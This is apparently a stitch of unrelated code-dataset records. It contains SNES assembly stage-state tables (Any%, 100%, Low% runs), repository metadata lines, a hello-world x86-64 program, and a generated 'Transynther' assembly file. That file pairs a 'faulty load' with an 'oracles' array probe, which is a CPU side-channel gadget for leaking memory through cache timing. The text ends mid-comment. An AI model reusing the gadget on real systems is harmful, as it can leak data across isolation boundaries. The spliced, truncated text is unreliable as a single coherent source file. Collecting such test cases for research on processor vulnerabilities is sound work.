state_data_hundo_intro} {state_index_revisit state_data_hundo_beetle, state_data_hundo_beetle2} {state_index_revisit state_data_hundo_seahorse, state_data_hundo_doppler2} {state_index_revisit state_data_hundo_catfish, state_data_hundo_doppler3} {state_index_single state_data_hundo_crawfish} {state_index_single state_data_hundo_vile} {state_index_revisit state_data_hundo_rhino, state_data_hundo_rhino2} {state_index_revisit state_data_hundo_tiger, state_data_hundo_doppler4} db 1 // Flag: Yes, there is a Vile stage. // Index table for Low%. state_indexes_table_lowp: {state_index_revisit state_data_lowp_hornet, state_data_lowp_doppler1} {state_index_single state_data_lowp_buffalo} {state_index_single state_data_lowp_intro} {state_index_single state_data_lowp_beetle} {state_index_revisit state_data_lowp_seahorse, state_data_lowp_doppler2} {state_index_revisit state_data_lowp_catfish, state_data_lowp_doppler3} {state_index_single state_data_lowp_crawfish} {state_index_single state_data_anyp_vile} //Wrong, just a placeholder. The flag below disables it anyway {state_index_single state_data_lowp_rhino} {state_index_revisit state_data_lowp_tiger, state_data_lowp_doppler4} db 0 // Flag: No Vile stage. // Base address for representing index table addresses. state_table_base: // // Any% state table, 001FA0-001FDF // state_data_anyp_intro: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$02,$01,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_buffalo: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$02,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$09,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_seahorse: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$04,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$00,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$24,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_rhino: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$07,$00 db $40,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$00,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$48,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_tiger: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$08,$00 db $40,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$51,$00,$01,$07,$00,$00,$00,$00,$00,$00 state_data_anyp_catfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$05,$00 db $40,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$2D,$00,$01,$07,$00,$00,$00,$00,$00,$00 state_data_anyp_crawfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$06,$00 db $40,$00,$04,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$00,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$36,$00,$01,$07,$00,$00,$00,$00,$00,$00 state_data_anyp_vile: // Crush Crawfish stage db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$09,$00 db $40,$00,$04,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$00,$00,$DC,$00,$00,$00,$DC,$00,$57,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$36,$00,$05,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_beetle: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$03,$00 db $40,$00,$14,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$DC,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$1B,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_hornet: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$00 db $40,$00,$14,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$00,$00,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_doppler1: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0A,$00 db $E0,$00,$3C,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$01,$3F,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_doppler2: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0B,$01 db $E0,$00,$3C,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$01,$3F,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_doppler3: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0C,$02 db $E0,$00,$FC,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$01,$3F,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_doppler4: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0D,$03 db $E0,$00,$FC,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$08,$10,$01,$00,$01,$3F,$00,$35,$67,$FF,$00,$00,$00,$00,$00 // // Any% without dash boots state table, 001FA0-001FDF // state_data_anyp_bootless_intro: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$02,$01,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_buffalo: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$02,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$09,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_seahorse: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$04,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$24,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_rhino: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$07,$00 db $40,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$48,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_tiger: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$08,$00 db $40,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$51,$00,$01,$07,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_catfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$05,$00 db $40,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$2D,$00,$01,$07,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_crawfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$06,$00 db $40,$00,$04,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$00,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$36,$00,$01,$07,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_vile: // Crush Crawfish stage db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$09,$00 db $40,$00,$04,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$00,$00,$DC,$00,$00,$00,$DC,$00,$57,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$36,$00,$05,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_beetle: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$03,$00 db $40,$00,$14,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$DC,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$1B,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_hornet: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$00 db $40,$00,$14,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$00,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_doppler1: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0A,$00 db $E0,$00,$3C,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$01,$3F,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_doppler2: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0B,$01 db $E0,$00,$3C,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$01,$3F,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_doppler3: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0C,$02 db $E0,$00,$FC,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$01,$3F,$00,$35,$67,$00,$00,$00,$00,$00,$00 state_data_anyp_bootless_doppler4: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0D,$03 db $E0,$00,$FC,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$01,$3F,$00,$35,$67,$FF,$00,$00,$00,$00,$00 // // 100% state table, 001FA0-001FDF // state_data_hundo_intro: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$02,$01,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_rhino: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$07,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$09,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_buffalo: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$02,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$00,$00,$00,$00 db $00,$40,$10,$40,$00,$00,$09,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_tiger: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$08,$00 db $60,$00,$00,$00,$02,$00,$01,$8E,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$58,$12,$40,$02,$00,$51,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_beetle: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$03,$00 db $60,$00,$00,$00,$02,$00,$01,$8E,$8E,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$DA,$14,$40,$82,$00,$1B,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_seahorse: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$04,$00 db $60,$00,$00,$00,$02,$00,$01,$8E,$8E,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$DA,$14,$40,$82,$00,$24,$08,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_hornet: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$00 db $60,$00,$00,$00,$02,$00,$01,$8E,$8E,$00,$00,$00,$5C,$00,$00,$00 db $00,$00,$00,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$DA,$16,$40,$8A,$00,$00,$0A,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_catfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$05,$00 db $60,$00,$00,$00,$02,$00,$01,$8E,$8E,$00,$00,$00,$DC,$00,$DC,$00 db $00,$00,$00,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$DA,$18,$40,$8B,$00,$2D,$0B,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_crawfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$06,$00 db $60,$00,$00,$00,$02,$00,$01,$8E,$8E,$8E,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$00,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$FE,$1A,$40,$9B,$00,$36,$0B,$00,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_vile: // Crush Crawfish stage db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$09,$00 db $60,$00,$00,$00,$02,$00,$01,$8E,$8E,$8E,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$00,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$FE,$1C,$40,$BB,$01,$1B,$0F,$30,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_beetle2: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$03,$00 db $E0,$00,$20,$00,$02,$00,$01,$8E,$8E,$8E,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$FE,$1C,$40,$BB,$01,$1B,$0F,$30,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_rhino2: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$07,$00 db $E0,$00,$20,$00,$02,$00,$01,$8E,$8E,$8E,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$BE,$1E,$40,$BF,$01,$48,$0F,$30,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_doppler1: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0A,$00 db $E0,$00,$20,$00,$02,$00,$01,$8E,$8E,$8E,$8E,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$FF,$20,$40,$FF,$01,$3F,$0F,$30,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_doppler2: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0B,$00 db $E0,$00,$20,$00,$02,$00,$01,$8E,$8E,$8E,$8E,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00 db $00,$FF,$20,$40,$FF,$01,$3F,$FF,$30,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_doppler3: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0C,$00 db $E0,$00,$FC,$00,$02,$00,$01,$8E,$8E,$8E,$8E,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00 db $00,$FF,$20,$40,$FF,$01,$3F,$FF,$30,$00,$00,$00,$00,$00,$00,$00 state_data_hundo_doppler4: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0D,$00 db $E0,$00,$FC,$00,$02,$00,$01,$8E,$8E,$8E,$8E,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00 db $00,$FF,$20,$40,$FF,$01,$3F,$FF,$30,$00,$00,$00,$00,$00,$00,$00 // // Low% state table, 001FA0-001FDF // state_data_lowp_intro: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$02,$01,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_buffalo: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$02,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $DC,$00,$10,$01,$00,$00,$09,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_seahorse: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$04,$00 db $00,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$00,$24,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_rhino: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$07,$00 db $60,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$00,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$00,$48,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_catfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$05,$00 db $60,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $00,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$00,$2D,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_crawfish: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$06,$00 db $60,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$00,$00,$00,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$00,$36,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_tiger: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$08,$00 db $60,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$DC,$00,$00,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$00,$51,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_beetle: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$03,$00 db $60,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$DC,$00,$DC,$00,$00,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$00,$1B,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_hornet: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$00 db $60,$00,$00,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$00,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_doppler1: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0A,$00 db $E0,$00,$20,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$01,$3F,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_doppler2: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0E,$01 db $E0,$00,$20,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$01,$3F,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_doppler3: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0C,$02 db $E0,$00,$20,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$01,$3F,$00,$00,$00,$00,$00,$00,$00,$00,$00 state_data_lowp_doppler4: db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0D,$03 db $E0,$00,$20,$00,$02,$00,$01,$00,$00,$00,$00,$00,$DC,$00,$DC,$00 db $DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$DC,$00,$00,$00,$00,$00 db $00,$00,$10,$40,$00,$01,$3F,$00,$00,$00,$FF,$00,$00,$00,$00,$00
54.478908
106
0.590253
fdbcf888de774ac231cbc8bef9280737d36514c2
383
asm
Assembly
hello-world.asm
In-All-Programming-Languages/helloWorld-in-all-programming-languages
469939963e436635b9556267b9888743835a1914
[ "Apache-2.0" ]
1
2022-03-31T21:35:45.000Z
2022-03-31T21:35:45.000Z
hello-world.asm
In-All-Programming-Languages/helloWorld-in-all-programming-languages
469939963e436635b9556267b9888743835a1914
[ "Apache-2.0" ]
null
null
null
hello-world.asm
In-All-Programming-Languages/helloWorld-in-all-programming-languages
469939963e436635b9556267b9888743835a1914
[ "Apache-2.0" ]
null
null
null
global _start section .text _start: mov rax, 1 ; write( mov rdi, 1 ; STDOUT_FILENO, mov rsi, msg ; "Hello, world!\n", mov rdx, msglen ; sizeof("Hello, world!\n") syscall ; ); mov rax, 60 ; exit( mov rdi, 0 ; EXIT_SUCCESS syscall ; ); section .rodata msg: db "Hello, world!", 10 msglen: equ $ - msg
21.277778
49
0.51436
817c58d19044684b2fb333763385c3f9d5168530
2,568
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_155_352.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_155_352.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_155_352.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x11416, %rsi lea addresses_normal_ht+0xcbce, %rdi nop nop cmp $36304, %r14 mov $25, %rcx rep movsb nop sub $6794, %rdi lea addresses_WT_ht+0x10616, %rbx nop nop nop inc %rsi mov (%rbx), %r12w nop nop nop nop sub %rbx, %rbx lea addresses_WT_ht+0x17316, %rbx cmp %rax, %rax mov (%rbx), %rsi nop nop nop nop and %rcx, %rcx lea addresses_WC_ht+0xb2ee, %rcx nop nop xor $32037, %rax mov $0x6162636465666768, %r12 movq %r12, (%rcx) nop nop nop nop xor %rbx, %rbx lea addresses_normal_ht+0x1e316, %r12 nop add $3884, %r14 movl $0x61626364, (%r12) nop nop mfence pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r9 push %rbp // Faulty Load mov $0x35c7a90000000916, %r11 nop nop nop nop nop add %r9, %r9 vmovups (%r11), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r12 lea oracles, %r11 and $0xff, %r12 shlq $12, %r12 mov (%r11,%r12,1), %r12 pop %rbp pop %r9 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 